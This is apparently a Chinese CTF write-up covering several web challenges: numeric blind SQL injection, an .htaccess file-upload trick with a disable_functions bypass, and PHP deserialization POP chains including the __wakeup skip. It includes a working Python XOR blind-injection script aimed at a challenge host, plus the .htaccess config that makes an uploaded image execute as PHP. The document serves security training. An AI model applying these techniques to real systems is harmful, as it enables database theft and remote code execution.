[CISCN 2019华北Day2]Web1
告诉我们想要的东西在flag表和flag字段,那应该是sql注入,先试试
试了一些发现会被检查到,随便传数字
除了1和2有返回结果,其余的都报错,应该是数字型注入,抓包看看过滤了哪些
这个字典好像不太完整,又找了一个,感谢大佬:sql-fuzz字典
使用异或盲注测试
脚本盲注:
import requests
import time
url = "http://node4.anna.nssctf.cn:28316/index.php"
payload = {
"id" : ""
}
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
html = requests.post(url,data=payload)
print(payload)
if "Hello" in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)
还有一种看到说是用if,但是if有局限性,这题是数字型 ,可以直接select * from users where id=if(1=1,1,0),但如果id单引号字符型或双引号字符型,那就必须在if前加or或and,但是
我这个好像没成功,也不知道怎么回事
[CISCN 2023 西南]do_you_like_read
进来是一个购物的界面,右下角看到有个登陆的
试一下弱口令
登陆后看到有文件上传的漏洞
直接上传试一试,上传后没发现有啥,看别的博主都是通过对源码审计,对php相关的后缀进行了省略,通过.htaccess配置文件,记得好像之前刷过类似的,也是利用这个,配置文件内容:
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
然后上传图片马,但是不知道为啥我一直连不上,看别人的后面的是蚁剑连接上之后权限不够,所以又转换思路在源码找到利用点,绕过disable_function造成RCE,别的大佬的解释:
最后的路径:
/bootstrap/test/bypass_disablefunc.php?cmd=env&outpath=/var/www/html/bootstrap/1.txt&sopath=/var/www/html/bootstrap/test/bypass_disablefunc_x64.so
[SWPUCTF 2021 新生赛]pop
POP链
就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload
常见魔术方法:
__construct() 类的构造函数,在对象实例化时调用
__destruct() 类的析构函数,在对象被销毁时被调用
__call() 在对象中调用一个不可访问的对象时被调用,比如一个对象被调用时,里面没有程序想调用的属性
__get() 个人觉得和call函数类似
__isset() 当一个对象调用isset()或empty()时被调用
__sleep() 执行serialize()时,先会调用这个函数
__wakeup() 执行unserialize()时,先会调用这个函数,改属性键值可绕过
__toString() 类被当成字符串时被调用,如出现echo或者pre_match时
__invoke() 以函数的形式调用一个对象时被调用
__clone() 出现clone函数,会被调用
__callStatic() //在静态上下文中调用不可访问的方法时触发
__unset() 当对不可访问属性调用unset()时被调用。
思路:先使用w22m的echo函数去输出w33m类,然后w33m的类调用toString里面的\$this->w00m->{\$this->w22m}();
,将w00m赋值为w44m,将w22m赋值为Getflag,再将w44m的admin和passwd赋值为题目给出的数,从而读取flag ,构造链子
注意:
private
的意思是私有的,protected
是受保护的,这两个不能再类外部进行赋值,所以只能在类内部进行定义。
由于使用了private
和protected
,所以在序列化的时候,会产生%00,但是%00会直接被忽略掉,所以这里要使用url编码,对整个payload进行编码,避免%00被忽略,引起不必要的失误
[SWPUCTF 2021 新生赛]no_wakeup
__wakeup() 魔术方法在执行反序列化时,会被优先调用,而不会调用 __construct 方法。
__wakeup() 函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行